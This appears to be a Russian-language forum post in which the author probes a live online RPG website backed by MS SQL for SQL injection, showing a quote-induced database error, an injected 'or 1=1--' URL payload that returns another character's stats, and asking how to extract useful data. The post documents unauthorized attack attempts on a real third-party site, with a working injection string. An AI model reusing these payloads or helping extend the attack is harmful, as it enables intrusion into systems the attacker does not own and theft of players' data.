Речь о сайте онлайновой РПГ. Тут MS SQL, не имел с ний дела никогда и не нашел ничего внятного, везде практически речь о MySQL.
выглядит так:
Выводит страницу которая показывает характеристики персонажа и кол-во уровней до ресета.
Примерно так:
Status On
Name Fate
Class Fairy Elf
Level 1
Resets 0
PK Level Default
Map Devias
Strenght 22
Agility 25
Vitality 10
Energy 15
[code]/reset?char=Fate'[code] выводит ошибку БД соответсвенно,
та же ошибка
та же в регестрации в поле e-mail.
Код:
char/Fate'%20or%201=1--%20%20SELECT%20*%20FROM%20product%20WHERE%20PCategory=#char# or 1=1--
дает вывод
Status
Name darkknight
Class Dark Knight
Level 1
Resets 0
PK Level Default
Map Lorencia
Strenght 18
Agility 18
Vitality 15
Energy 30
Вроде все так, но в поле статус отсутствуют данные, а поля Strenght, Agility, Vitality, Energy не соответствуют полю класс, то есть если поле класс у нас Dark Knight, то эти поля не могут иметь такие значения.
Вопрос, инъекция ли это и можно ли извлечь что либо полезное из всего этого? Если можно, то подскажите плз где можно почитать подробно про MS SQL inj.